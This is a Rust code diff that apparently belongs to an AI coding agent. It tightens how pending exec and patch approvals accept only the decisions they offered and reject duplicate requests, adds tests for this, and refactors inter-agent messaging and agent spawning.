|
||||
Some(&ReviewDecision::NetworkPolicyAmendment {
|
||||
network_policy_amendment: proposed_deny,
|
||||
})
|
||||
);
|
||||
assert!(!accepted.contains(&ReviewDecision::NetworkPolicyAmendment {
|
||||
network_policy_amendment: NetworkPolicyAmendment {
|
||||
host: "other.example.com".to_string(),
|
||||
action: NetworkPolicyRuleAction::Deny,
|
||||
},
|
||||
}));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn callback_without_explicit_decisions_is_one_shot() {
|
||||
let (session, turn_context, rx_events) = make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let request = tokio::spawn({
|
||||
let session = Arc::clone(&session);
|
||||
let turn_context = Arc::clone(&turn_context);
|
||||
async move {
|
||||
session
|
||||
.request_command_approval(
|
||||
turn_context.as_ref(),
|
||||
"command-item".to_string(),
|
||||
Some("callback".to_string()),
|
||||
/*approval_purpose*/ None,
|
||||
/*environment_id*/ None,
|
||||
vec!["echo".to_string(), "hi".to_string()],
|
||||
test_path_buf("/tmp").abs(),
|
||||
/*reason*/ None,
|
||||
/*network_approval_context*/ None,
|
||||
/*proposed_execpolicy_amendment*/ None,
|
||||
/*additional_permissions*/ None,
|
||||
/*available_decisions*/ None,
|
||||
)
|
||||
.await
|
||||
}
|
||||
});
|
||||
let event = tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("approval event timed out")
|
||||
.expect("approval event missing");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval event");
|
||||
};
|
||||
assert_eq!(
|
||||
event.available_decisions,
|
||||
Some(vec![ReviewDecision::Approved, ReviewDecision::Abort])
|
||||
);
|
||||
session
|
||||
.notify_exec_approval("callback", ReviewDecision::Abort)
|
||||
.await;
|
||||
assert_eq!(
|
||||
request.await.expect("approval request task"),
|
||||
ReviewDecision::Abort
|
||||
);
|
||||
|
||||
let explicit_request = tokio::spawn({
|
||||
let session = Arc::clone(&session);
|
||||
let turn_context = Arc::clone(&turn_context);
|
||||
async move {
|
||||
session
|
||||
.request_command_approval(
|
||||
turn_context.as_ref(),
|
||||
"command-item".to_string(),
|
||||
Some("explicit-callback".to_string()),
|
||||
/*approval_purpose*/ None,
|
||||
/*environment_id*/ None,
|
||||
vec!["echo".to_string(), "hi".to_string()],
|
||||
test_path_buf("/tmp").abs(),
|
||||
/*reason*/ None,
|
||||
/*network_approval_context*/ None,
|
||||
/*proposed_execpolicy_amendment*/ None,
|
||||
/*additional_permissions*/ None,
|
||||
Some(vec![ReviewDecision::ApprovedForSession]),
|
||||
)
|
||||
.await
|
||||
}
|
||||
});
|
||||
let event = tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("explicit approval event timed out")
|
||||
.expect("explicit approval event missing");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval event");
|
||||
};
|
||||
assert_eq!(
|
||||
event.available_decisions,
|
||||
Some(vec![ReviewDecision::ApprovedForSession])
|
||||
);
|
||||
session
|
||||
.notify_exec_approval("explicit-callback", ReviewDecision::ApprovedForSession)
|
||||
.await;
|
||||
assert_eq!(
|
||||
explicit_request.await.expect("explicit approval task"),
|
||||
ReviewDecision::ApprovedForSession
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn default_command_decisions_respect_explicit_callback_purpose() {
|
||||
use codex_protocol::protocol::ExecApprovalPurpose as Purpose;
|
||||
let (session, turn_context, rx_events) = make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
|
||||
for (index, approval_id, purpose, expected) in [
|
||||
(
|
||||
0,
|
||||
None,
|
||||
Purpose::Initial,
|
||||
vec![
|
||||
ReviewDecision::Approved,
|
||||
ReviewDecision::ApprovedForSession,
|
||||
ReviewDecision::Abort,
|
||||
],
|
||||
),
|
||||
(
|
||||
1,
|
||||
Some("callback-initial"),
|
||||
Purpose::Initial,
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort],
|
||||
),
|
||||
(
|
||||
2,
|
||||
None,
|
||||
Purpose::Execve,
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort],
|
||||
),
|
||||
(
|
||||
3,
|
||||
None,
|
||||
Purpose::SandboxRetry,
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort],
|
||||
),
|
||||
] {
|
||||
let call_id = format!("purpose-{index}");
|
||||
let response_id = approval_id
|
||||
.map(str::to_string)
|
||||
.unwrap_or_else(|| call_id.clone());
|
||||
let request = tokio::spawn({
|
||||
let session = Arc::clone(&session);
|
||||
let turn_context = Arc::clone(&turn_context);
|
||||
let call_id = call_id.clone();
|
||||
async move {
|
||||
session
|
||||
.request_command_approval(
|
||||
turn_context.as_ref(),
|
||||
call_id,
|
||||
approval_id.map(str::to_string),
|
||||
Some(purpose),
|
||||
/*environment_id*/ None,
|
||||
vec!["true".to_string()],
|
||||
test_path_buf("/tmp").abs(),
|
||||
/*reason*/ None,
|
||||
/*network_approval_context*/ None,
|
||||
/*proposed_execpolicy_amendment*/ None,
|
||||
/*additional_permissions*/ None,
|
||||
/*available_decisions*/ None,
|
||||
)
|
||||
.await
|
||||
}
|
||||
});
|
||||
let event = rx_events.recv().await.expect("exec approval event");
|
||||
let EventMsg::ExecApprovalRequest(event) = event.msg else {
|
||||
panic!("expected exec approval request");
|
||||
};
|
||||
assert_eq!(event.available_decisions, Some(expected));
|
||||
session
|
||||
.notify_exec_approval(&response_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
assert_eq!(
|
||||
request.await.expect("approval task"),
|
||||
ReviewDecision::Approved
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum DuplicateApprovalRequestKind {
|
||||
Exec,
|
||||
Patch,
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn duplicate_same_kind_approval_request_aborts_without_replacing_or_emitting() {
|
||||
for kind in [
|
||||
DuplicateApprovalRequestKind::Exec,
|
||||
DuplicateApprovalRequestKind::Patch,
|
||||
] {
|
||||
let (session, turn_context, rx_events) = make_session_and_context_with_rx().await;
|
||||
*session.active_turn.lock().await = Some(ActiveTurn::default());
|
||||
let approval_id = format!("duplicate-{kind:?}");
|
||||
|
||||
match kind {
|
||||
DuplicateApprovalRequestKind::Exec => {
|
||||
let initial_request = tokio::spawn({
|
||||
let session = Arc::clone(&session);
|
||||
let turn_context = Arc::clone(&turn_context);
|
||||
let approval_id = approval_id.clone();
|
||||
async move {
|
||||
session
|
||||
.request_command_approval(
|
||||
turn_context.as_ref(),
|
||||
approval_id,
|
||||
/*approval_id*/ None,
|
||||
Some(codex_protocol::protocol::ExecApprovalPurpose::Initial),
|
||||
/*environment_id*/ None,
|
||||
vec!["first".to_string()],
|
||||
test_path_buf("/tmp").abs(),
|
||||
/*reason*/ None,
|
||||
/*network_approval_context*/ None,
|
||||
/*proposed_execpolicy_amendment*/ None,
|
||||
/*additional_permissions*/ None,
|
||||
Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]),
|
||||
)
|
||||
.await
|
||||
}
|
||||
});
|
||||
let first_event =
|
||||
tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("initial exec approval event timed out")
|
||||
.expect("initial exec approval event missing");
|
||||
assert!(matches!(
|
||||
first_event.msg,
|
||||
EventMsg::ExecApprovalRequest(request)
|
||||
if request.effective_approval_id() == approval_id
|
||||
));
|
||||
|
||||
let duplicate_decision = session
|
||||
.request_command_approval(
|
||||
turn_context.as_ref(),
|
||||
approval_id.clone(),
|
||||
/*approval_id*/ None,
|
||||
Some(codex_protocol::protocol::ExecApprovalPurpose::Initial),
|
||||
/*environment_id*/ None,
|
||||
vec!["second".to_string()],
|
||||
test_path_buf("/tmp").abs(),
|
||||
/*reason*/ None,
|
||||
/*network_approval_context*/ None,
|
||||
/*proposed_execpolicy_amendment*/ None,
|
||||
/*additional_permissions*/ None,
|
||||
Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]),
|
||||
)
|
||||
.await;
|
||||
assert_eq!(duplicate_decision, ReviewDecision::Abort);
|
||||
assert!(rx_events.try_recv().is_err());
|
||||
|
||||
session
|
||||
.notify_exec_approval(&approval_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
assert_eq!(
|
||||
initial_request.await.expect("initial exec request task"),
|
||||
ReviewDecision::Approved
|
||||
);
|
||||
}
|
||||
DuplicateApprovalRequestKind::Patch => {
|
||||
let initial_rx = session
|
||||
.request_patch_approval(
|
||||
turn_context.as_ref(),
|
||||
approval_id.clone(),
|
||||
HashMap::new(),
|
||||
/*reason*/ None,
|
||||
/*grant_root*/ None,
|
||||
)
|
||||
.await;
|
||||
let first_event =
|
||||
tokio::time::timeout(std::time::Duration::from_secs(1), rx_events.recv())
|
||||
.await
|
||||
.expect("initial patch approval event timed out")
|
||||
.expect("initial patch approval event missing");
|
||||
assert!(matches!(
|
||||
first_event.msg,
|
||||
EventMsg::ApplyPatchApprovalRequest(request)
|
||||
if request.call_id == approval_id
|
||||
));
|
||||
|
||||
let duplicate_rx = session
|
||||
.request_patch_approval(
|
||||
turn_context.as_ref(),
|
||||
approval_id.clone(),
|
||||
HashMap::new(),
|
||||
/*reason*/ None,
|
||||
/*grant_root*/ None,
|
||||
)
|
||||
.await;
|
||||
assert_eq!(duplicate_rx.await, Ok(ReviewDecision::Abort));
|
||||
assert!(rx_events.try_recv().is_err());
|
||||
|
||||
session
|
||||
.notify_patch_approval(&approval_id, ReviewDecision::Approved)
|
||||
.await;
|
||||
assert_eq!(initial_rx.await, Ok(ReviewDecision::Approved));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn start_managed_network_proxy_applies_execpolicy_network_rules() -> anyhow::Result<()> {
|
||||
let permission_profile = PermissionProfile::workspace_write();
|
||||
@@ -10781,7 +11105,6 @@ async fn rejects_escalated_permissions_when_policy_not_on_request() {
|
||||
windows_sandbox_level: turn_context.windows_sandbox_level,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source: crate::exec_policy::ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
assert!(matches!(
|
||||
|
||||
@@ -11,6 +11,8 @@ pub(crate) use service::SessionServices;
|
||||
pub(crate) use session::SessionState;
|
||||
pub(crate) use turn::ActiveTurn;
|
||||
pub(crate) use turn::MailboxDeliveryPhase;
|
||||
pub(crate) use turn::PendingApproval;
|
||||
pub(crate) use turn::PendingApprovalKind;
|
||||
pub(crate) use turn::PendingRequestPermissions;
|
||||
pub(crate) use turn::RunningTask;
|
||||
pub(crate) use turn::TaskKind;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
//! Turn-scoped state and active turn metadata scaffolding.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::collections::hash_map::Entry;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Mutex;
|
||||
use tokio::sync::Notify;
|
||||
@@ -85,7 +86,7 @@ pub(crate) struct RunningTask {
|
||||
/// Mutable state for a single turn.
|
||||
#[derive(Default)]
|
||||
pub(crate) struct TurnState {
|
||||
pending_approvals: HashMap<String, oneshot::Sender<ReviewDecision>>,
|
||||
pending_approvals: HashMap<(PendingApprovalKind, String), PendingApproval>,
|
||||
pending_request_permissions: HashMap<String, PendingRequestPermissions>,
|
||||
pending_user_input: HashMap<String, oneshot::Sender<RequestUserInputResponse>>,
|
||||
pending_elicitations: HashMap<(String, RequestId), oneshot::Sender<ElicitationResponse>>,
|
||||
@@ -99,6 +100,33 @@ pub(crate) struct TurnState {
|
||||
pub(crate) token_usage_at_turn_start: TokenUsage,
|
||||
}
|
||||
|
||||
pub(crate) struct PendingApproval {
|
||||
tx_approve: oneshot::Sender<ReviewDecision>,
|
||||
accepted_decisions: Vec<ReviewDecision>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Eq, Hash, PartialEq)]
|
||||
pub(crate) enum PendingApprovalKind {
|
||||
Exec,
|
||||
Patch,
|
||||
}
|
||||
|
||||
impl PendingApproval {
|
||||
pub(crate) fn accepts(&self, decision: &ReviewDecision) -> bool {
|
||||
matches!(
|
||||
decision,
|
||||
ReviewDecision::Denied | ReviewDecision::TimedOut | ReviewDecision::Abort
|
||||
) || self
|
||||
.accepted_decisions
|
||||
.iter()
|
||||
.any(|available| available == decision)
|
||||
}
|
||||
|
||||
pub(crate) fn send(self, decision: ReviewDecision) {
|
||||
self.tx_approve.send(decision).ok();
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) struct PendingRequestPermissions {
|
||||
pub(crate) tx_response: oneshot::Sender<RequestPermissionsResponse>,
|
||||
pub(crate) requested_permissions: RequestPermissionProfile,
|
||||
@@ -110,15 +138,28 @@ impl TurnState {
|
||||
&mut self,
|
||||
key: String,
|
||||
tx: oneshot::Sender<ReviewDecision>,
|
||||
) -> Option<oneshot::Sender<ReviewDecision>> {
|
||||
self.pending_approvals.insert(key, tx)
|
||||
kind: PendingApprovalKind,
|
||||
accepted_decisions: Vec<ReviewDecision>,
|
||||
) -> Result<(), PendingApproval> {
|
||||
let pending_approval = PendingApproval {
|
||||
tx_approve: tx,
|
||||
accepted_decisions,
|
||||
};
|
||||
match self.pending_approvals.entry((kind, key)) {
|
||||
Entry::Vacant(entry) => {
|
||||
entry.insert(pending_approval);
|
||||
Ok(())
|
||||
}
|
||||
Entry::Occupied(_) => Err(pending_approval),
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn remove_pending_approval(
|
||||
&mut self,
|
||||
key: &str,
|
||||
) -> Option<oneshot::Sender<ReviewDecision>> {
|
||||
self.pending_approvals.remove(key)
|
||||
kind: PendingApprovalKind,
|
||||
) -> Option<PendingApproval> {
|
||||
self.pending_approvals.remove(&(kind, key.to_string()))
|
||||
}
|
||||
|
||||
pub(crate) fn clear_pending_waiters(&mut self) {
|
||||
@@ -239,3 +280,7 @@ impl TurnState {
|
||||
self.strict_auto_review_enabled
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "turn_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,178 @@
|
||||
use super::*;
|
||||
use codex_protocol::approvals::ExecPolicyAmendment;
|
||||
|
||||
fn pending_approval(accepted_decisions: Vec<ReviewDecision>) -> PendingApproval {
|
||||
let (tx_approve, _rx_approve) = oneshot::channel();
|
||||
PendingApproval {
|
||||
tx_approve,
|
||||
accepted_decisions,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_shot_pending_approval_rejects_unoffered_persistent_decisions() {
|
||||
let pending = pending_approval(vec![ReviewDecision::Approved, ReviewDecision::Abort]);
|
||||
let amendment = ReviewDecision::ApprovedExecpolicyAmendment {
|
||||
proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec!["echo".to_string()]),
|
||||
};
|
||||
|
||||
assert!(pending.accepts(&ReviewDecision::Approved));
|
||||
assert!(pending.accepts(&ReviewDecision::Denied));
|
||||
assert!(!pending.accepts(&ReviewDecision::ApprovedForSession));
|
||||
assert!(!pending.accepts(&amendment));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cacheable_pending_approval_keeps_session_decision_compatibility() {
|
||||
let pending = pending_approval(vec![
|
||||
ReviewDecision::Approved,
|
||||
ReviewDecision::ApprovedForSession,
|
||||
ReviewDecision::Abort,
|
||||
]);
|
||||
|
||||
assert!(pending.accepts(&ReviewDecision::ApprovedForSession));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pending_approval_requires_the_exact_offered_amendment() {
|
||||
let offered = ReviewDecision::ApprovedExecpolicyAmendment {
|
||||
proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec!["echo".to_string()]),
|
||||
};
|
||||
let substituted = ReviewDecision::ApprovedExecpolicyAmendment {
|
||||
proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec!["rm".to_string()]),
|
||||
};
|
||||
let pending = pending_approval(vec![
|
||||
ReviewDecision::Approved,
|
||||
offered.clone(),
|
||||
ReviewDecision::Abort,
|
||||
]);
|
||||
|
||||
assert!(pending.accepts(&offered));
|
||||
assert!(!pending.accepts(&substituted));
|
||||
assert!(!pending.accepts(&ReviewDecision::ApprovedForSession));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pending_approvals_with_the_same_id_are_isolated_by_request_kind() {
|
||||
let (tx_patch, _rx_patch) = oneshot::channel();
|
||||
let (tx_exec, _rx_exec) = oneshot::channel();
|
||||
let mut turn_state = TurnState::default();
|
||||
assert!(
|
||||
turn_state
|
||||
.insert_pending_approval(
|
||||
"approval".to_string(),
|
||||
tx_patch,
|
||||
PendingApprovalKind::Patch,
|
||||
vec![ReviewDecision::Approved],
|
||||
)
|
||||
.is_ok()
|
||||
);
|
||||
assert!(
|
||||
turn_state
|
||||
.insert_pending_approval(
|
||||
"approval".to_string(),
|
||||
tx_exec,
|
||||
PendingApprovalKind::Exec,
|
||||
vec![ReviewDecision::Approved],
|
||||
)
|
||||
.is_ok()
|
||||
);
|
||||
|
||||
assert!(
|
||||
turn_state
|
||||
.remove_pending_approval("approval", PendingApprovalKind::Exec)
|
||||
.is_some()
|
||||
);
|
||||
assert!(
|
||||
turn_state
|
||||
.remove_pending_approval("approval", PendingApprovalKind::Patch)
|
||||
.is_some()
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn duplicate_same_kind_pending_approval_keeps_the_original_waiter() {
|
||||
for kind in [PendingApprovalKind::Exec, PendingApprovalKind::Patch] {
|
||||
let mut turn_state = TurnState::default();
|
||||
let (initial_tx, initial_rx) = oneshot::channel();
|
||||
assert!(
|
||||
turn_state
|
||||
.insert_pending_approval(
|
||||
"call-id".to_string(),
|
||||
initial_tx,
|
||||
kind,
|
||||
vec![ReviewDecision::Approved],
|
||||
)
|
||||
.is_ok()
|
||||
);
|
||||
|
||||
let (duplicate_tx, duplicate_rx) = oneshot::channel();
|
||||
let Err(duplicate) = turn_state.insert_pending_approval(
|
||||
"call-id".to_string(),
|
||||
duplicate_tx,
|
||||
kind,
|
||||
vec![ReviewDecision::Approved],
|
||||
) else {
|
||||
panic!("duplicate {kind:?} approval id should be rejected");
|
||||
};
|
||||
duplicate.send(ReviewDecision::Abort);
|
||||
assert_eq!(duplicate_rx.await, Ok(ReviewDecision::Abort));
|
||||
|
||||
turn_state
|
||||
.remove_pending_approval("call-id", kind)
|
||||
.expect("original waiter must remain pending")
|
||||
.send(ReviewDecision::Approved);
|
||||
assert_eq!(initial_rx.await, Ok(ReviewDecision::Approved));
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn consumed_approval_id_cannot_resolve_a_distinct_id_waiter() {
|
||||
for stale_decision in [
|
||||
ReviewDecision::Approved,
|
||||
ReviewDecision::Abort,
|
||||
ReviewDecision::Denied,
|
||||
] {
|
||||
let mut turn_state = TurnState::default();
|
||||
let (initial_tx, initial_rx) = oneshot::channel();
|
||||
assert!(
|
||||
turn_state
|
||||
.insert_pending_approval(
|
||||
"call-id".to_string(),
|
||||
initial_tx,
|
||||
PendingApprovalKind::Exec,
|
||||
vec![ReviewDecision::Approved],
|
||||
)
|
||||
.is_ok()
|
||||
);
|
||||
turn_state
|
||||
.remove_pending_approval("call-id", PendingApprovalKind::Exec)
|
||||
.expect("initial waiter")
|
||||
.send(ReviewDecision::Approved);
|
||||
assert_eq!(initial_rx.await, Ok(ReviewDecision::Approved));
|
||||
|
||||
let (retry_tx, retry_rx) = oneshot::channel();
|
||||
assert!(
|
||||
turn_state
|
||||
.insert_pending_approval(
|
||||
"retry-id".to_string(),
|
||||
retry_tx,
|
||||
PendingApprovalKind::Exec,
|
||||
vec![ReviewDecision::Approved],
|
||||
)
|
||||
.is_ok()
|
||||
);
|
||||
|
||||
assert!(
|
||||
turn_state
|
||||
.remove_pending_approval("call-id", PendingApprovalKind::Exec)
|
||||
.is_none(),
|
||||
"stale {stale_decision:?} must not consume the retry waiter"
|
||||
);
|
||||
turn_state
|
||||
.remove_pending_approval("retry-id", PendingApprovalKind::Exec)
|
||||
.expect("retry waiter remains pending")
|
||||
.send(ReviewDecision::Approved);
|
||||
assert_eq!(retry_rx.await, Ok(ReviewDecision::Approved));
|
||||
}
|
||||
}
|
||||
@@ -203,7 +203,7 @@ async fn run_agent_job_loop(
|
||||
.agent_control
|
||||
.spawn_agent_with_metadata(
|
||||
options.spawn_config.clone(),
|
||||
items.into(),
|
||||
items,
|
||||
Some(SessionSource::SubAgent(SubAgentSource::Other(format!(
|
||||
"agent_job:{job_id}"
|
||||
)))),
|
||||
|
||||
@@ -18,7 +18,6 @@ use codex_protocol::openai_models::ReasoningEffort;
|
||||
use codex_protocol::openai_models::ReasoningEffortPreset;
|
||||
use codex_protocol::protocol::CollabAgentRef;
|
||||
use codex_protocol::protocol::CollabAgentStatusEntry;
|
||||
use codex_protocol::protocol::Op;
|
||||
use codex_protocol::protocol::SessionSource;
|
||||
use codex_protocol::protocol::SubAgentSource;
|
||||
use codex_protocol::user_input::UserInput;
|
||||
@@ -163,7 +162,7 @@ pub(crate) fn thread_spawn_source(
|
||||
pub(crate) fn parse_collab_input(
|
||||
message: Option<String>,
|
||||
items: Option<Vec<UserInput>>,
|
||||
) -> Result<Op, FunctionCallError> {
|
||||
) -> Result<Vec<UserInput>, FunctionCallError> {
|
||||
match (message, items) {
|
||||
(Some(_), Some(_)) => Err(FunctionCallError::RespondToModel(
|
||||
"Provide either message or items, but not both".to_string(),
|
||||
@@ -180,8 +179,7 @@ pub(crate) fn parse_collab_input(
|
||||
Ok(vec![UserInput::Text {
|
||||
text: message,
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into())
|
||||
}])
|
||||
}
|
||||
(None, Some(items)) => {
|
||||
if items.is_empty() {
|
||||
@@ -189,7 +187,7 @@ pub(crate) fn parse_collab_input(
|
||||
"Items can't be empty".to_string(),
|
||||
));
|
||||
}
|
||||
Ok(items.into())
|
||||
Ok(items)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1377,8 +1377,7 @@ async fn multi_agent_v2_send_message_accepts_root_target_from_child() {
|
||||
vec![UserInput::Text {
|
||||
text: "inspect this repo".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
|
||||
parent_thread_id: root.thread_id,
|
||||
depth: 1,
|
||||
@@ -1454,8 +1453,7 @@ async fn multi_agent_v2_followup_task_rejects_root_target_from_child() {
|
||||
vec![UserInput::Text {
|
||||
text: "inspect this repo".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
|
||||
parent_thread_id: root.thread_id,
|
||||
depth: 1,
|
||||
@@ -1626,8 +1624,7 @@ async fn multi_agent_v2_list_agents_filters_by_relative_path_prefix() {
|
||||
vec![UserInput::Text {
|
||||
text: "research".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
|
||||
parent_thread_id: root.thread_id,
|
||||
depth: 1,
|
||||
@@ -1647,8 +1644,7 @@ async fn multi_agent_v2_list_agents_filters_by_relative_path_prefix() {
|
||||
vec![UserInput::Text {
|
||||
text: "build".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
|
||||
parent_thread_id: root.thread_id,
|
||||
depth: 2,
|
||||
@@ -4097,8 +4093,7 @@ async fn multi_agent_v2_interrupt_agent_rejects_self_target_by_id() {
|
||||
vec![UserInput::Text {
|
||||
text: "inspect this repo".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
|
||||
parent_thread_id: root.thread_id,
|
||||
depth: 1,
|
||||
@@ -4165,8 +4160,7 @@ async fn multi_agent_v2_interrupt_agent_rejects_self_target_by_task_name() {
|
||||
vec![UserInput::Text {
|
||||
text: "inspect this repo".to_string(),
|
||||
text_elements: Vec::new(),
|
||||
}]
|
||||
.into(),
|
||||
}],
|
||||
Some(SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
|
||||
parent_thread_id: root.thread_id,
|
||||
depth: 1,
|
||||
|
||||
@@ -19,7 +19,6 @@ use codex_protocol::protocol::CollabWaitingEndEvent;
|
||||
use codex_protocol::protocol::InterAgentCommunication;
|
||||
use codex_protocol::protocol::SubAgentActivityEvent;
|
||||
use codex_protocol::protocol::SubAgentActivityKind;
|
||||
use codex_protocol::user_input::UserInput;
|
||||
use codex_tools::ToolName;
|
||||
use serde::Deserialize;
|
||||
use serde::Serialize;
|
||||
|
||||
@@ -4,6 +4,8 @@
|
||||
//! resulting `InterAgentCommunication` should wake the target immediately.
|
||||
|
||||
use super::*;
|
||||
use crate::agent_communication::AgentCommunicationContext;
|
||||
use crate::agent_communication::AgentCommunicationKind;
|
||||
use crate::tools::context::FunctionToolOutput;
|
||||
use crate::turn_timing::now_unix_timestamp_ms;
|
||||
use codex_protocol::protocol::InterAgentCommunication;
|
||||
@@ -46,7 +48,7 @@ pub(crate) struct FollowupTaskArgs {
|
||||
pub(crate) message: String,
|
||||
}
|
||||
|
||||
fn message_content(message: String) -> Result<String, FunctionCallError> {
|
||||
pub(super) fn message_content(message: String) -> Result<String, FunctionCallError> {
|
||||
if message.trim().is_empty() {
|
||||
return Err(FunctionCallError::RespondToModel(
|
||||
"Empty message can't be sent to an agent".to_string(),
|
||||
@@ -101,10 +103,15 @@ pub(crate) async fn handle_message_string_tool(
|
||||
.unwrap_or_else(AgentPath::root);
|
||||
let communication =
|
||||
communication_from_tool_message(author, receiver_agent_path.clone(), message);
|
||||
let kind = match mode {
|
||||
MessageDeliveryMode::QueueOnly => AgentCommunicationKind::Message,
|
||||
MessageDeliveryMode::TriggerTurn => AgentCommunicationKind::Followup,
|
||||
};
|
||||
let context = AgentCommunicationContext::new(kind, session.thread_id);
|
||||
let result = session
|
||||
.services
|
||||
.agent_control
|
||||
.send_inter_agent_communication(receiver_thread_id, mode.apply(communication))
|
||||
.send_inter_agent_communication(receiver_thread_id, mode.apply(communication), context)
|
||||
.await
|
||||
.map_err(|err| collab_agent_error(receiver_thread_id, err));
|
||||
result?;
|
||||
|
||||
@@ -4,11 +4,13 @@ use crate::agent::control::SpawnAgentOptions;
|
||||
use crate::agent::next_thread_spawn_depth;
|
||||
use crate::agent::role::DEFAULT_ROLE_NAME;
|
||||
use crate::agent::role::apply_role_to_config;
|
||||
use crate::agent_communication::AgentCommunicationContext;
|
||||
use crate::agent_communication::AgentCommunicationKind;
|
||||
use crate::tools::handlers::multi_agents_spec::SpawnAgentToolOptions;
|
||||
use crate::tools::handlers::multi_agents_spec::create_spawn_agent_tool_v2;
|
||||
use crate::tools::handlers::multi_agents_v2::message_tool::message_content;
|
||||
use crate::turn_timing::now_unix_timestamp_ms;
|
||||
use codex_protocol::AgentPath;
|
||||
use codex_protocol::protocol::Op;
|
||||
use codex_tools::ToolSpec;
|
||||
|
||||
#[derive(Default)]
|
||||
@@ -55,8 +57,7 @@ async fn handle_spawn_agent(
|
||||
.map(str::trim)
|
||||
.filter(|role| !role.is_empty());
|
||||
|
||||
let message = args.message.clone();
|
||||
let initial_operation = parse_collab_input(Some(args.message), /*items*/ None)?;
|
||||
let message = message_content(args.message)?;
|
||||
let session_source = turn.session_source.clone();
|
||||
let child_depth = next_thread_spawn_depth(&session_source);
|
||||
let mut config =
|
||||
@@ -104,33 +105,28 @@ async fn handle_spawn_agent(
|
||||
"spawned agent is missing a canonical task name".to_string(),
|
||||
)
|
||||
})?;
|
||||
let author = turn
|
||||
.session_source
|
||||
.get_agent_path()
|
||||
.unwrap_or_else(AgentPath::root);
|
||||
let communication = communication_from_tool_message(author, new_agent_path.clone(), message);
|
||||
let context = AgentCommunicationContext::new(AgentCommunicationKind::Spawn, session.thread_id);
|
||||
let spawned_agent = Box::pin(
|
||||
session.services.agent_control.spawn_agent_with_metadata(
|
||||
config,
|
||||
match initial_operation {
|
||||
Op::UserInput { items, .. }
|
||||
if items
|
||||
.iter()
|
||||
.all(|item| matches!(item, UserInput::Text { .. })) =>
|
||||
{
|
||||
let author = turn
|
||||
.session_source
|
||||
.get_agent_path()
|
||||
.unwrap_or_else(AgentPath::root);
|
||||
let communication =
|
||||
communication_from_tool_message(author, new_agent_path.clone(), message);
|
||||
Op::InterAgentCommunication { communication }
|
||||
}
|
||||
initial_operation => initial_operation,
|
||||
},
|
||||
Some(spawn_source),
|
||||
SpawnAgentOptions {
|
||||
fork_parent_spawn_call_id: fork_mode.as_ref().map(|_| call_id.clone()),
|
||||
fork_mode,
|
||||
parent_thread_id: Some(session.thread_id),
|
||||
environments: Some(turn.environments.to_selections()),
|
||||
},
|
||||
),
|
||||
session
|
||||
.services
|
||||
.agent_control
|
||||
.spawn_agent_with_communication(
|
||||
config,
|
||||
communication,
|
||||
context,
|
||||
Some(spawn_source),
|
||||
SpawnAgentOptions {
|
||||
fork_parent_spawn_call_id: fork_mode.as_ref().map(|_| call_id.clone()),
|
||||
fork_mode,
|
||||
parent_thread_id: Some(session.thread_id),
|
||||
environments: Some(turn.environments.to_selections()),
|
||||
